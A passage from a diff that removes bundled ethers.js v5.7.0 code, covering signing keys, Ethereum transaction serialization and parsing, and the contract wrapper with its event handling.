getCurve2().keyFromPrivate(arrayify2(this.privateKey)); - const digestBytes = arrayify2(digest); - if (digestBytes.length !== 32) { - logger36.throwArgumentError("bad digest length", "digest", digest); - } - const signature3 = keyPair3.sign(digestBytes, { canonical: true }); - return splitSignature2({ - recoveryParam: signature3.recoveryParam, - r: hexZeroPad2("0x" + signature3.r.toString(16), 32), - s: hexZeroPad2("0x" + signature3.s.toString(16), 32) - }); - } - computeSharedSecret(otherKey) { - const keyPair3 = getCurve2().keyFromPrivate(arrayify2(this.privateKey)); - const otherKeyPair = getCurve2().keyFromPublic(arrayify2(computePublicKey2(otherKey))); - return hexZeroPad2("0x" + keyPair3.derive(otherKeyPair.getPublic()).toString(16), 32); - } - static isSigningKey(value) { - return !!(value && value._isSigningKey); - } - }; - function recoverPublicKey2(digest, signature3) { - const sig = splitSignature2(signature3); - const rs = { r: arrayify2(sig.r), s: arrayify2(sig.s) }; - return "0x" + getCurve2().recoverPubKey(arrayify2(digest), rs, sig.recoveryParam).encode("hex", false); - } - function computePublicKey2(key3, compressed) { - const bytes = arrayify2(key3); - if (bytes.length === 32) { - const signingKey = new SigningKey2(bytes); - if (compressed) { - return "0x" + getCurve2().keyFromPrivate(bytes).getPublic(true, "hex"); - } - return signingKey.publicKey; - } else if (bytes.length === 33) { - if (compressed) { - return hexlify2(bytes); - } - return "0x" + getCurve2().keyFromPublic(bytes).getPublic(false, "hex"); - } else if (bytes.length === 65) { - if (!compressed) { - return hexlify2(bytes); - } - return "0x" + getCurve2().keyFromPublic(bytes).getPublic(true, "hex"); - } - return logger36.throwArgumentError("invalid public or private key", "key", "[REDACTED]"); - } - - // node_modules/@ethersproject/transactions/lib.esm/_version.js - var version33 = "transactions/5.7.0"; - - // node_modules/@ethersproject/transactions/lib.esm/index.js - var logger37 = new Logger2(version33); - var TransactionTypes2; - (function(TransactionTypes3) { - TransactionTypes3[TransactionTypes3["legacy"] = 0] = "legacy"; - TransactionTypes3[TransactionTypes3["eip2930"] = 1] = "eip2930"; - TransactionTypes3[TransactionTypes3["eip1559"] = 2] = "eip1559"; - })(TransactionTypes2 || (TransactionTypes2 = {})); - function handleAddress2(value) { - if (value === "0x") { - return null; - } - return getAddress2(value); - } - function handleNumber2(value) { - if (value === "0x") { - return Zero4; - } - return BigNumber2.from(value); - } - var transactionFields = [ - { name: "nonce", maxLength: 32, numeric: true }, - { name: "gasPrice", maxLength: 32, numeric: true }, - { name: "gasLimit", maxLength: 32, numeric: true }, - { name: "to", length: 20 }, - { name: "value", maxLength: 32, numeric: true }, - { name: "data" } - ]; - var allowedTransactionKeys4 = { - chainId: true, - data: true, - gasLimit: true, - gasPrice: true, - nonce: true, - to: true, - type: true, - value: true - }; - function computeAddress2(key3) { - const publicKey = computePublicKey2(key3); - return getAddress2(hexDataSlice2(keccak2562(hexDataSlice2(publicKey, 1)), 12)); - } - function recoverAddress2(digest, signature3) { - return computeAddress2(recoverPublicKey2(arrayify2(digest), signature3)); - } - function formatNumber2(value, name) { - const result = stripZeros2(BigNumber2.from(value).toHexString()); - if (result.length > 32) { - logger37.throwArgumentError("invalid length for " + name, "transaction:" + name, value); - } - return result; - } - function accessSetify2(addr, storageKeys) { - return { - address: getAddress2(addr), - storageKeys: (storageKeys || []).map((storageKey, index2) => { - if (hexDataLength2(storageKey) !== 32) { - logger37.throwArgumentError("invalid access list storageKey", `accessList[${addr}:${index2}]`, storageKey); - } - return storageKey.toLowerCase(); - }) - }; - } - function accessListify2(value) { - if (Array.isArray(value)) { - return value.map((set, index2) => { - if (Array.isArray(set)) { - if (set.length > 2) { - logger37.throwArgumentError("access list expected to be [ address, storageKeys[] ]", `value[${index2}]`, set); - } - return accessSetify2(set[0], set[1]); - } - return accessSetify2(set.address, set.storageKeys); - }); - } - const result = Object.keys(value).map((addr) => { - const storageKeys = value[addr].reduce((accum, storageKey) => { - accum[storageKey] = true; - return accum; - }, {}); - return accessSetify2(addr, Object.keys(storageKeys).sort()); - }); - result.sort((a, b) => a.address.localeCompare(b.address)); - return result; - } - function formatAccessList2(value) { - return accessListify2(value).map((set) => [set.address, set.storageKeys]); - } - function _serializeEip15592(transaction, signature3) { - if (transaction.gasPrice != null) { - const gasPrice = BigNumber2.from(transaction.gasPrice); - const maxFeePerGas = BigNumber2.from(transaction.maxFeePerGas || 0); - if (!gasPrice.eq(maxFeePerGas)) { - logger37.throwArgumentError("mismatch EIP-1559 gasPrice != maxFeePerGas", "tx", { - gasPrice, - maxFeePerGas - }); - } - } - const fields = [ - formatNumber2(transaction.chainId || 0, "chainId"), - formatNumber2(transaction.nonce || 0, "nonce"), - formatNumber2(transaction.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), - formatNumber2(transaction.maxFeePerGas || 0, "maxFeePerGas"), - formatNumber2(transaction.gasLimit || 0, "gasLimit"), - transaction.to != null ? getAddress2(transaction.to) : "0x", - formatNumber2(transaction.value || 0, "value"), - transaction.data || "0x", - formatAccessList2(transaction.accessList || []) - ]; - if (signature3) { - const sig = splitSignature2(signature3); - fields.push(formatNumber2(sig.recoveryParam, "recoveryParam")); - fields.push(stripZeros2(sig.r)); - fields.push(stripZeros2(sig.s)); - } - return hexConcat2(["0x02", encode6(fields)]); - } - function _serializeEip29302(transaction, signature3) { - const fields = [ - formatNumber2(transaction.chainId || 0, "chainId"), - formatNumber2(transaction.nonce || 0, "nonce"), - formatNumber2(transaction.gasPrice || 0, "gasPrice"), - formatNumber2(transaction.gasLimit || 0, "gasLimit"), - transaction.to != null ? getAddress2(transaction.to) : "0x", - formatNumber2(transaction.value || 0, "value"), - transaction.data || "0x", - formatAccessList2(transaction.accessList || []) - ]; - if (signature3) { - const sig = splitSignature2(signature3); - fields.push(formatNumber2(sig.recoveryParam, "recoveryParam")); - fields.push(stripZeros2(sig.r)); - fields.push(stripZeros2(sig.s)); - } - return hexConcat2(["0x01", encode6(fields)]); - } - function _serialize(transaction, signature3) { - checkProperties2(transaction, allowedTransactionKeys4); - const raw = []; - transactionFields.forEach(function(fieldInfo) { - let value = transaction[fieldInfo.name] || []; - const options = {}; - if (fieldInfo.numeric) { - options.hexPad = "left"; - } - value = arrayify2(hexlify2(value, options)); - if (fieldInfo.length && value.length !== fieldInfo.length && value.length > 0) { - logger37.throwArgumentError("invalid length for " + fieldInfo.name, "transaction:" + fieldInfo.name, value); - } - if (fieldInfo.maxLength) { - value = stripZeros2(value); - if (value.length > fieldInfo.maxLength) { - logger37.throwArgumentError("invalid length for " + fieldInfo.name, "transaction:" + fieldInfo.name, value); - } - } - raw.push(hexlify2(value)); - }); - let chainId = 0; - if (transaction.chainId != null) { - chainId = transaction.chainId; - if (typeof chainId !== "number") { - logger37.throwArgumentError("invalid transaction.chainId", "transaction", transaction); - } - } else if (signature3 && !isBytesLike2(signature3) && signature3.v > 28) { - chainId = Math.floor((signature3.v - 35) / 2); - } - if (chainId !== 0) { - raw.push(hexlify2(chainId)); - raw.push("0x"); - raw.push("0x"); - } - if (!signature3) { - return encode6(raw); - } - const sig = splitSignature2(signature3); - let v = 27 + sig.recoveryParam; - if (chainId !== 0) { - raw.pop(); - raw.pop(); - raw.pop(); - v += chainId * 2 + 8; - if (sig.v > 28 && sig.v !== v) { - logger37.throwArgumentError("transaction.chainId/signature.v mismatch", "signature", signature3); - } - } else if (sig.v !== v) { - logger37.throwArgumentError("transaction.chainId/signature.v mismatch", "signature", signature3); - } - raw.push(hexlify2(v)); - raw.push(stripZeros2(arrayify2(sig.r))); - raw.push(stripZeros2(arrayify2(sig.s))); - return encode6(raw); - } - function serialize(transaction, signature3) { - if (transaction.type == null || transaction.type === 0) { - if (transaction.accessList != null) { - logger37.throwArgumentError("untyped transactions do not support accessList; include type: 1", "transaction", transaction); - } - return _serialize(transaction, signature3); - } - switch (transaction.type) { - case 1: - return _serializeEip29302(transaction, signature3); - case 2: - return _serializeEip15592(transaction, signature3); - default: - break; - } - return logger37.throwError(`unsupported transaction type: ${transaction.type}`, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "serializeTransaction", - transactionType: transaction.type - }); - } - function _parseEipSignature2(tx, fields, serialize3) { - try { - const recid = handleNumber2(fields[0]).toNumber(); - if (recid !== 0 && recid !== 1) { - throw new Error("bad recid"); - } - tx.v = recid; - } catch (error) { - logger37.throwArgumentError("invalid v for transaction type: 1", "v", fields[0]); - } - tx.r = hexZeroPad2(fields[1], 32); - tx.s = hexZeroPad2(fields[2], 32); - try { - const digest = keccak2562(serialize3(tx)); - tx.from = recoverAddress2(digest, { r: tx.r, s: tx.s, recoveryParam: tx.v }); - } catch (error) { - } - } - function _parseEip15592(payload) { - const transaction = decode3(payload.slice(1)); - if (transaction.length !== 9 && transaction.length !== 12) { - logger37.throwArgumentError("invalid component count for transaction type: 2", "payload", hexlify2(payload)); - } - const maxPriorityFeePerGas = handleNumber2(transaction[2]); - const maxFeePerGas = handleNumber2(transaction[3]); - const tx = { - type: 2, - chainId: handleNumber2(transaction[0]).toNumber(), - nonce: handleNumber2(transaction[1]).toNumber(), - maxPriorityFeePerGas, - maxFeePerGas, - gasPrice: null, - gasLimit: handleNumber2(transaction[4]), - to: handleAddress2(transaction[5]), - value: handleNumber2(transaction[6]), - data: transaction[7], - accessList: accessListify2(transaction[8]) - }; - if (transaction.length === 9) { - return tx; - } - tx.hash = keccak2562(payload); - _parseEipSignature2(tx, transaction.slice(9), _serializeEip15592); - return tx; - } - function _parseEip29302(payload) { - const transaction = decode3(payload.slice(1)); - if (transaction.length !== 8 && transaction.length !== 11) { - logger37.throwArgumentError("invalid component count for transaction type: 1", "payload", hexlify2(payload)); - } - const tx = { - type: 1, - chainId: handleNumber2(transaction[0]).toNumber(), - nonce: handleNumber2(transaction[1]).toNumber(), - gasPrice: handleNumber2(transaction[2]), - gasLimit: handleNumber2(transaction[3]), - to: handleAddress2(transaction[4]), - value: handleNumber2(transaction[5]), - data: transaction[6], - accessList: accessListify2(transaction[7]) - }; - if (transaction.length === 8) { - return tx; - } - tx.hash = keccak2562(payload); - _parseEipSignature2(tx, transaction.slice(8), _serializeEip29302); - return tx; - } - function _parse2(rawTransaction) { - const transaction = decode3(rawTransaction); - if (transaction.length !== 9 && transaction.length !== 6) { - logger37.throwArgumentError("invalid raw transaction", "rawTransaction", rawTransaction); - } - const tx = { - nonce: handleNumber2(transaction[0]).toNumber(), - gasPrice: handleNumber2(transaction[1]), - gasLimit: handleNumber2(transaction[2]), - to: handleAddress2(transaction[3]), - value: handleNumber2(transaction[4]), - data: transaction[5], - chainId: 0 - }; - if (transaction.length === 6) { - return tx; - } - try { - tx.v = BigNumber2.from(transaction[6]).toNumber(); - } catch (error) { - return tx; - } - tx.r = hexZeroPad2(transaction[7], 32); - tx.s = hexZeroPad2(transaction[8], 32); - if (BigNumber2.from(tx.r).isZero() && BigNumber2.from(tx.s).isZero()) { - tx.chainId = tx.v; - tx.v = 0; - } else { - tx.chainId = Math.floor((tx.v - 35) / 2); - if (tx.chainId < 0) { - tx.chainId = 0; - } - let recoveryParam = tx.v - 27; - const raw = transaction.slice(0, 6); - if (tx.chainId !== 0) { - raw.push(hexlify2(tx.chainId)); - raw.push("0x"); - raw.push("0x"); - recoveryParam -= tx.chainId * 2 + 8; - } - const digest = keccak2562(encode6(raw)); - try { - tx.from = recoverAddress2(digest, { r: hexlify2(tx.r), s: hexlify2(tx.s), recoveryParam }); - } catch (error) { - } - tx.hash = keccak2562(rawTransaction); - } - tx.type = null; - return tx; - } - function parse2(rawTransaction) { - const payload = arrayify2(rawTransaction); - if (payload[0] > 127) { - return _parse2(payload); - } - switch (payload[0]) { - case 1: - return _parseEip29302(payload); - case 2: - return _parseEip15592(payload); - default: - break; - } - return logger37.throwError(`unsupported transaction type: ${payload[0]}`, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "parseTransaction", - transactionType: payload[0] - }); - } - - // node_modules/@ethersproject/contracts/lib.esm/_version.js - var version34 = "contracts/5.7.0"; - - // node_modules/@ethersproject/contracts/lib.esm/index.js - var __awaiter20 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger38 = new Logger2(version34); - var allowedTransactionKeys5 = { - chainId: true, - data: true, - from: true, - gasLimit: true, - gasPrice: true, - nonce: true, - to: true, - value: true, - type: true, - accessList: true, - maxFeePerGas: true, - maxPriorityFeePerGas: true, - customData: true, - ccipReadEnabled: true - }; - function resolveName(resolver, nameOrPromise) { - return __awaiter20(this, void 0, void 0, function* () { - const name = yield nameOrPromise; - if (typeof name !== "string") { - logger38.throwArgumentError("invalid address or ENS name", "name", name); - } - try { - return getAddress2(name); - } catch (error) { - } - if (!resolver) { - logger38.throwError("a provider or signer is needed to resolve ENS names", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "resolveName" - }); - } - const address = yield resolver.resolveName(name); - if (address == null) { - logger38.throwArgumentError("resolver or addr is not configured for ENS name", "name", name); - } - return address; - }); - } - function resolveAddresses(resolver, value, paramType) { - return __awaiter20(this, void 0, void 0, function* () { - if (Array.isArray(paramType)) { - return yield Promise.all(paramType.map((paramType2, index2) => { - return resolveAddresses(resolver, Array.isArray(value) ? value[index2] : value[paramType2.name], paramType2); - })); - } - if (paramType.type === "address") { - return yield resolveName(resolver, value); - } - if (paramType.type === "tuple") { - return yield resolveAddresses(resolver, value, paramType.components); - } - if (paramType.baseType === "array") { - if (!Array.isArray(value)) { - return Promise.reject(logger38.makeError("invalid value for array", Logger2.errors.INVALID_ARGUMENT, { - argument: "value", - value - })); - } - return yield Promise.all(value.map((v) => resolveAddresses(resolver, v, paramType.arrayChildren))); - } - return value; - }); - } - function populateTransaction(contract, fragment, args) { - return __awaiter20(this, void 0, void 0, function* () { - let overrides = {}; - if (args.length === fragment.inputs.length + 1 && typeof args[args.length - 1] === "object") { - overrides = shallowCopy2(args.pop()); - } - logger38.checkArgumentCount(args.length, fragment.inputs.length, "passed to contract"); - if (contract.signer) { - if (overrides.from) { - overrides.from = resolveProperties2({ - override: resolveName(contract.signer, overrides.from), - signer: contract.signer.getAddress() - }).then((check) => __awaiter20(this, void 0, void 0, function* () { - if (getAddress2(check.signer) !== check.override) { - logger38.throwError("Contract with a Signer cannot override from", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "overrides.from" - }); - } - return check.override; - })); - } else { - overrides.from = contract.signer.getAddress(); - } - } else if (overrides.from) { - overrides.from = resolveName(contract.provider, overrides.from); - } - const resolved = yield resolveProperties2({ - args: resolveAddresses(contract.signer || contract.provider, args, fragment.inputs), - address: contract.resolvedAddress, - overrides: resolveProperties2(overrides) || {} - }); - const data = contract.interface.encodeFunctionData(fragment, resolved.args); - const tx = { - data, - to: resolved.address - }; - const ro = resolved.overrides; - if (ro.nonce != null) { - tx.nonce = BigNumber2.from(ro.nonce).toNumber(); - } - if (ro.gasLimit != null) { - tx.gasLimit = BigNumber2.from(ro.gasLimit); - } - if (ro.gasPrice != null) { - tx.gasPrice = BigNumber2.from(ro.gasPrice); - } - if (ro.maxFeePerGas != null) { - tx.maxFeePerGas = BigNumber2.from(ro.maxFeePerGas); - } - if (ro.maxPriorityFeePerGas != null) { - tx.maxPriorityFeePerGas = BigNumber2.from(ro.maxPriorityFeePerGas); - } - if (ro.from != null) { - tx.from = ro.from; - } - if (ro.type != null) { - tx.type = ro.type; - } - if (ro.accessList != null) { - tx.accessList = accessListify2(ro.accessList); - } - if (tx.gasLimit == null && fragment.gas != null) { - let intrinsic = 21e3; - const bytes = arrayify2(data); - for (let i = 0; i < bytes.length; i++) { - intrinsic += 4; - if (bytes[i]) { - intrinsic += 64; - } - } - tx.gasLimit = BigNumber2.from(fragment.gas).add(intrinsic); - } - if (ro.value) { - const roValue = BigNumber2.from(ro.value); - if (!roValue.isZero() && !fragment.payable) { - logger38.throwError("non-payable method cannot override value", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "overrides.value", - value: overrides.value - }); - } - tx.value = roValue; - } - if (ro.customData) { - tx.customData = shallowCopy2(ro.customData); - } - if (ro.ccipReadEnabled) { - tx.ccipReadEnabled = !!ro.ccipReadEnabled; - } - delete overrides.nonce; - delete overrides.gasLimit; - delete overrides.gasPrice; - delete overrides.from; - delete overrides.value; - delete overrides.type; - delete overrides.accessList; - delete overrides.maxFeePerGas; - delete overrides.maxPriorityFeePerGas; - delete overrides.customData; - delete overrides.ccipReadEnabled; - const leftovers = Object.keys(overrides).filter((key3) => overrides[key3] != null); - if (leftovers.length) { - logger38.throwError(`cannot override ${leftovers.map((l) => JSON.stringify(l)).join(",")}`, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "overrides", - overrides: leftovers - }); - } - return tx; - }); - } - function buildPopulate(contract, fragment) { - return function(...args) { - return populateTransaction(contract, fragment, args); - }; - } - function buildEstimate(contract, fragment) { - const signerOrProvider = contract.signer || contract.provider; - return function(...args) { - return __awaiter20(this, void 0, void 0, function* () { - if (!signerOrProvider) { - logger38.throwError("estimate require a provider or signer", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "estimateGas" - }); - } - const tx = yield populateTransaction(contract, fragment, args); - return yield signerOrProvider.estimateGas(tx); - }); - }; - } - function addContractWait(contract, tx) { - const wait = tx.wait.bind(tx); - tx.wait = (confirmations) => { - return wait(confirmations).then((receipt) => { - receipt.events = receipt.logs.map((log) => { - let event = deepCopy2(log); - let parsed = null; - try { - parsed = contract.interface.parseLog(log); - } catch (e) { - } - if (parsed) { - event.args = parsed.args; - event.decode = (data, topics) => { - return contract.interface.decodeEventLog(parsed.eventFragment, data, topics); - }; - event.event = parsed.name; - event.eventSignature = parsed.signature; - } - event.removeListener = () => { - return contract.provider; - }; - event.getBlock = () => { - return contract.provider.getBlock(receipt.blockHash); - }; - event.getTransaction = () => { - return contract.provider.getTransaction(receipt.transactionHash); - }; - event.getTransactionReceipt = () => { - return Promise.resolve(receipt); - }; - return event; - }); - return receipt; - }); - }; - } - function buildCall(contract, fragment, collapseSimple) { - const signerOrProvider = contract.signer || contract.provider; - return function(...args) { - return __awaiter20(this, void 0, void 0, function* () { - let blockTag = void 0; - if (args.length === fragment.inputs.length + 1 && typeof args[args.length - 1] === "object") { - const overrides = shallowCopy2(args.pop()); - if (overrides.blockTag != null) { - blockTag = yield overrides.blockTag; - } - delete overrides.blockTag; - args.push(overrides); - } - if (contract.deployTransaction != null) { - yield contract._deployed(blockTag); - } - const tx = yield populateTransaction(contract, fragment, args); - const result = yield signerOrProvider.call(tx, blockTag); - try { - let value = contract.interface.decodeFunctionResult(fragment, result); - if (collapseSimple && fragment.outputs.length === 1) { - value = value[0]; - } - return value; - } catch (error) { - if (error.code === Logger2.errors.CALL_EXCEPTION) { - error.address = contract.address; - error.args = args; - error.transaction = tx; - } - throw error; - } - }); - }; - } - function buildSend(contract, fragment) { - return function(...args) { - return __awaiter20(this, void 0, void 0, function* () { - if (!contract.signer) { - logger38.throwError("sending a transaction requires a signer", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "sendTransaction" - }); - } - if (contract.deployTransaction != null) { - yield contract._deployed(); - } - const txRequest = yield populateTransaction(contract, fragment, args); - const tx = yield contract.signer.sendTransaction(txRequest); - addContractWait(contract, tx); - return tx; - }); - }; - } - function buildDefault(contract, fragment, collapseSimple) { - if (fragment.constant) { - return buildCall(contract, fragment, collapseSimple); - } - return buildSend(contract, fragment); - } - function getEventTag2(filter2) { - if (filter2.address && (filter2.topics == null || filter2.topics.length === 0)) { - return "*"; - } - return (filter2.address || "*") + "@" + (filter2.topics ? filter2.topics.map((topic) => { - if (Array.isArray(topic)) { - return topic.join("|"); - } - return topic; - }).join(":") : ""); - } - var RunningEvent = class { - constructor(tag, filter2) { - defineReadOnly2(this, "tag", tag); - defineReadOnly2(this, "filter", filter2); - this._listeners = []; - } - addListener(listener, once) { - this._listeners.push({ listener, once }); - } - removeListener(listener) { - let done = false; - this._listeners = this._listeners.filter((item) => { - if (done || item.listener !== listener) { - return true; - } - done = true; - return false; - }); - } - removeAllListeners() { - this._listeners = []; - } - listeners() { - return this._listeners.map((i) => i.listener); - } - listenerCount() { - return this._listeners.length; - } - run(args) { - const listenerCount = this.listenerCount(); - this._listeners = this._listeners.filter((item) => { - const argsCopy = args.slice(); - setTimeout(() => { - item.listener.apply(this, argsCopy); - }, 0); - return !item.once; - }); - return listenerCount; - } - prepareEvent(event) { - } - // Returns the array that will be applied to an emit - getEmit(event) { - return [event]; - } - }; - var ErrorRunningEvent = class extends RunningEvent { - constructor() { - super("error", null); - } - }; - var FragmentRunningEvent = class extends RunningEvent { - constructor(address, contractInterface, fragment, topics) { - const filter2 = { - address - }; - let topic = contractInterface.getEventTopic(fragment); - if (topics) { - if (topic !== topics[0]) { - logger38.throwArgumentError("topic mismatch", "topics", topics); - } - filter2.topics = topics.slice(); - } else { - filter2.topics = [topic]; - } - super(getEventTag2(filter2), filter2); - defineReadOnly2(this, "address", address); - defineReadOnly2(this, "interface", contractInterface); - defineReadOnly2(this, "fragment", fragment); - } - prepareEvent(event) { - super.prepareEvent(event); - event.event = this.fragment.name; - event.eventSignature = this.fragment.format(); - event.decode = (data, topics) => { - return this.interface.decodeEventLog(this.fragment, data, topics); - }; - try { - event.args = this.interface.decodeEventLog(this.fragment, event.data, event.topics); - } catch (error) { - event.args = null; - event.decodeError = error; - } - } - getEmit(event) { - const errors = checkResultErrors(event.args); - if (errors.length) { - throw errors[0].error; - } - const args = (event.args || []).slice(); - args.push(event); - return args; - } - }; - var WildcardRunningEvent = class extends RunningEvent { - constructor(address, contractInterface) { - super("*", { address }); - defineReadOnly2(this, "address", address); - defineReadOnly2(this, "interface", contractInterface); - } - prepareEvent(event) { - super.prepareEvent(event); - try { - const parsed = this.interface.parseLog(event); - event.event = parsed.name; - event.eventSignature = parsed.signature; - event.decode = (data, topics) => { - return this.interface.decodeEventLog(parsed.eventFragment, data, topics); - }; - event.args = parsed.args; - } catch (error) { - } - } - }; - var BaseContract = class { - constructor(addressOrName, contractInterface, signerOrProvider) { - defineReadOnly2(this, "interface", getStatic2(new.target, "getInterface")(contractInterface)); - if (signerOrProvider == null) { - defineReadOnly2(this, "provider", null); - defineReadOnly2(this, "signer", null); - } else if (Signer2.isSigner(signerOrProvider)) { - defineReadOnly2(this, "provider", signerOrProvider.provider || null); - defineReadOnly2(this, "signer", signerOrProvider); - } else if (Provider2.isProvider(signerOrProvider)) { - defineReadOnly2(this, "provider", signerOrProvider); - defineReadOnly2(this, "signer", null); - } else { - logger38.throwArgumentError("invalid signer or provider", "signerOrProvider", signerOrProvider); - } - defineReadOnly2(this, "callStatic", {}); - defineReadOnly2(this, "estimateGas", {}); - defineReadOnly2(this, "functions", {}); - defineReadOnly2(this, "populateTransaction", {}); - defineReadOnly2(this, "filters", {}); - { - const uniqueFilters = {}; - Object.keys(this.interface.events).forEach((eventSignature) => { - const event = this.interface.events[eventSignature]; - defineReadOnly2(this.filters, eventSignature, (...args) => { - return { - address: this.address, - topics: this.interface.encodeFilterTopics(event, args) - }; - }); - if (!uniqueFilters[event.name]) { - uniqueFilters[event.name] = []; - } - uniqueFilters[event.name].push(eventSignature); - }); - Object.keys(uniqueFilters).forEach((name) => { - const filters = uniqueFilters[name]; - if (filters.length === 1) { - defineReadOnly2(this.filters, name, this.filters[filters[0]]); - } else { - logger38.warn(`Duplicate definition of ${name} (${filters.join(", ")})`); - } - }); - } - defineReadOnly2(this, "_runningEvents", {}); - defineReadOnly2(this, "_wrappedEmits", {}); - if (addressOrName == null) { - logger38.throwArgumentError("invalid contract address or ENS name", "addressOrName", addressOrName); - } - defineReadOnly2(this, "address", addressOrName); - if (this.provider) { - defineReadOnly2(this, "resolvedAddress", resolveName(this.provider, addressOrName)); - } else { - try { - defineReadOnly2(this, "resolvedAddress", Promise.resolve(getAddress2(addressOrName))); - } catch (error) { - logger38.throwError("provider is required to use ENS name as contract address", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new Contract" - }); - } - } - this.resolvedAddress.catch((e) => { - }); - const uniqueNames = {}; - const uniqueSignatures = {}; - Object.keys(this.interface.functions).forEach((signature3) => { - const fragment = this.interface.functions[signature3]; - if (uniqueSignatures[signature3]) { - logger38.warn(`Duplicate ABI entry for ${JSON.stringify(signature3)}`); - return; - } - uniqueSignatures[signature3] = true; - { - const name = fragment.name; - if (!uniqueNames[`%${name}`]) { - uniqueNames[`%${name}`] = []; - } - uniqueNames[`%${name}`].push(signature3); - } - if (this[signature3] == null) { - defineReadOnly2(this, signature3, buildDefault(this, fragment, true)); - } - if (this.functions[signature3] == null) { - defineReadOnly2(this.functions, signature3, buildDefault(this, fragment, false)); - } - if (this.callStatic[signature3] == null) { - defineReadOnly2(this.callStatic, signature3, buildCall(this, fragment, true)); - } - if (this.populateTransaction[signature3] == null) { - defineReadOnly2(this.populateTransaction, signature3, buildPopulate(this, fragment)); - } - if (this.estimateGas[signature3] == null) { - defineReadOnly2(this.estimateGas, signature3, buildEstimate(this, fragment)); - } - }); - Object.keys(uniqueNames).forEach((name) => { - const signatures = uniqueNames[name]; - if (signatures.length > 1) { - return; - } - name = name.substring(1); - const signature3 = signatures[0]; - try { - if (this[name] == null) { - defineReadOnly2(this, name, this[signature3]); - } - } catch (e) { - } - if (this.functions[name] == null) { - defineReadOnly2(this.functions, name, this.functions[signature3]); - } - if (this.callStatic[name] == null) { - defineReadOnly2(this.callStatic, name, this.callStatic[signature3]); - } - if (this.populateTransaction[name] == null) { - defineReadOnly2(this.populateTransaction, name, this.populateTransaction[signature3]); - } - if (this.estimateGas[name] == null) { - defineReadOnly2(this.estimateGas, name, this.estimateGas[signature3]); - } - }); - } - static getContractAddress(transaction) { - return getContractAddress2(transaction); - } - static getInterface(contractInterface) { - if (Interface.isInterface(contractInterface)) { - return contractInterface; - } - return new Interface(contractInterface); - } - // @TODO: Allow timeout? - deployed() { - return this._deployed(); - } - _deployed(blockTag) { - if (!this._deployedPromise) { - if (this.deployTransaction) { - this._deployedPromise = this.deployTransaction.wait().then(() => { - return this; - }); - } else { - this._deployedPromise = this.provider.getCode(this.address, blockTag).then((code) => { - if (code === "0x") { - logger38.throwError("contract not deployed", Logger2.errors.UNSUPPORTED_OPERATION, { - contractAddress: this.address, - operation: "getDeployed" - }); - } - return this; - }); - } - } - return this._deployedPromise; - } - // @TODO: - // estimateFallback(overrides?: TransactionRequest): Promise - // @TODO: - // estimateDeploy(bytecode: string, ...args): Promise - fallback(overrides) { - if (!this.signer) { - logger38.throwError("sending a transactions require a signer", Logger2.errors.UNSUPPORTED_OPERATION, { operation: "sendTransaction(fallback)" }); - } - const tx = shallowCopy2(overrides || {}); - ["from", "to"].forEach(function(key3) { - if (tx[key3] == null) { - return; - } - logger38.throwError("cannot override " + key3, Logger2.errors.UNSUPPORTED_OPERATION, { operation: key3 }); - }); - tx.to = this.resolvedAddress; - return this.deployed().then(() => { - return this.signer.sendTransaction(tx); - }); - } - // Reconnect to a different signer or provider - connect(signerOrProvider) { - if (typeof signerOrProvider === "string") { - signerOrProvider = new VoidSigner(signerOrProvider, this.provider); - } - const contract = new this.constructor(this.address, this.interface, signerOrProvider); - if (this.deployTransaction) { - defineReadOnly2(contract, "deployTransaction", this.deployTransaction); - } - return contract; - } - // Re-attach to a different on-chain instance of this contract - attach(addressOrName) { - return new this.constructor(addressOrName, this.interface, this.signer || this.provider); - } - static isIndexed(value) { - return Indexed.isIndexed(value); - } - _normalizeRunningEvent(runningEvent) { - if (this._runningEvents[runningEvent.tag]) { - return this._runningEvents[runningEvent.tag]; - } - return runningEvent; - } - _getRunningEvent(eventName) { - if (typeof eventName === "string") { - if (eventName === "error") { - return this._normalizeRunningEvent(new ErrorRunningEvent()); - } - if (eventName === "event") { - return this._normalizeRunningEvent(new RunningEvent("event", null)); - } - if (eventName === "*") { - return this._normalizeRunningEvent(new WildcardRunningEvent(this.address, this.interface)); - } - const fragment = this.interface.getEvent(eventName); - return this._normalizeRunningEvent(new FragmentRunningEvent(this.address, this.interface, fragment)); - } - if (eventName.topics && eventName.topics.length > 0) { - try { - const topic = eventName.topics[0]; - if (typeof topic !== "string") { - throw new Error("invalid topic"); - } - const fragment = this.interface.getEvent(topic); - return this._normalizeRunningEvent(new FragmentRunningEvent(this.address, this.interface, fragment, eventName.topics)); - } catch (error) { - } - const filter2 = { - address: this.address, - topics: eventName.topics - }; - return this._normalizeRunningEvent(new RunningEvent(getEventTag2(filter2), filter2)); - } - return this._normalizeRunningEvent(new WildcardRunningEvent(this.address, this.interface)); - } - _checkRunningEvents(runningEvent) { - if (runningEvent.listenerCount() === 0) { - delete this._runningEvents[runningEvent.tag]; - const emit = this._wrappedEmits[runningEvent.tag]; - if (emit && runningEvent.filter) { - this.provider.off(runningEvent.filter, emit); - delete this._wrappedEmits[runningEvent.tag]; - } - } - } - // Subclasses can override this to gracefully recover - // from parse errors if they wish - _wrapEvent(runningEvent, log, listener) { - const event = deepCopy2(log); - event.removeListener = () => { - if (!listener) { - return; - } - runningEvent.removeListener(listener); - this._checkRunningEvents(runningEvent); - }; - event.getBlock = () => { - return this.provider.getBlock(log.blockHash); - }; - event.getTransaction = () => { - return this.provider.getTransaction(log.transactionHash); - }; - event.getTransactionReceipt = () => { - return this.provider.getTransactionReceipt(log.transactionHash); - }; - runningEvent.prepareEvent(event); - return event; - } - _addEventListener(runningEvent, listener, 